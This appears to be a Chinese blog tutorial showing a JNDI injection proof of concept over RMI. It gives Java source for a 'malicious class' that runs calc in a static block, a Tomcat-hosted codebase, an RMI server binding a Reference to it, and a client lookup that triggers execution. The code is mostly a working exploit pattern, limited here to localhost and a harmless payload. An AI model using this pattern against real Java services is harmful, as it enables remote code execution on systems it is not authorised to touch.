JNDI注入demo使用rmi方式

JNDI注入demo

JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。

这些命名/目录服务提供者:

RMI (JAVA远程方法调用)
LDAP (轻量级目录访问协议)
CORBA (公共对象请求代理体系结构)
DNS (域名服务)

大致说下原理,JNDI可以获取远程类并在当前环境里面执行。
如果我们知道的某个程序某一处执行了JNDI,那么我们编写一个恶意类让其访问获取,就可以做很多事情了。
当前demo使用的是rmi协议

一。准备工作

1.编写一个恶意类Muma.

里面调用了calc,这个相当于调用了一个计算器。

public class Muma {
	static {
		try {
			Runtime.getRuntime().exec("calc").waitFor();
		} catch (Exception  e1) {
			e1.printStackTrace();
		}
	}
}

值得注意的是,这里面不能有package。

2.编译Muma

javac Muma.java 

然后我们获得了Muma.class

3.把Muma.class放到服务器上面。

本例放到tomcat的ROOT下面。
启动tomcat,http://localhost:8080/Muma.class可以获取到该文件。

4.架设rmi服务器。

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import javax.naming.Reference;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class RmiServer {
	public static void main(String[] args) throws Exception {
		//恶意类名字
		String className = "Muma";
		//恶意类.class所在的服务器
		String classNameServer = "http://localhost:8080/";
		
		
		//rmi服务器的端口
		int port = 9527;
		//rmi服务器对外开放的名字
		String rmiClassName = "muma123";
		
		
		Registry registry = LocateRegistry.createRegistry(port);
		Reference r = new Reference(className, className, classNameServer);

		registry.bind(rmiClassName, new ReferenceWrapper(r));
		
		System.out.println("启动rmi服务:localhost:"+9527+",对外开放:"+rmiClassName);
	}
}

到此为止,我们的准备工作做好了。然后我们做个客户端来访问下这个rmi服务。

4.测试

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class RmiClient {
	public static void main(String[] args) throws NamingException {
		System.setProperty("java.rmi.server.useCodebaseOnly", "false");
		System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
		Context context = new  InitialContext();
		context.lookup("rmi://127.0.0.1:9527/muma123");
	}
}

在这里插入图片描述
相当的的NICE!!!

结语

jndi可以由rmi、ladp等多种协议实现。

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值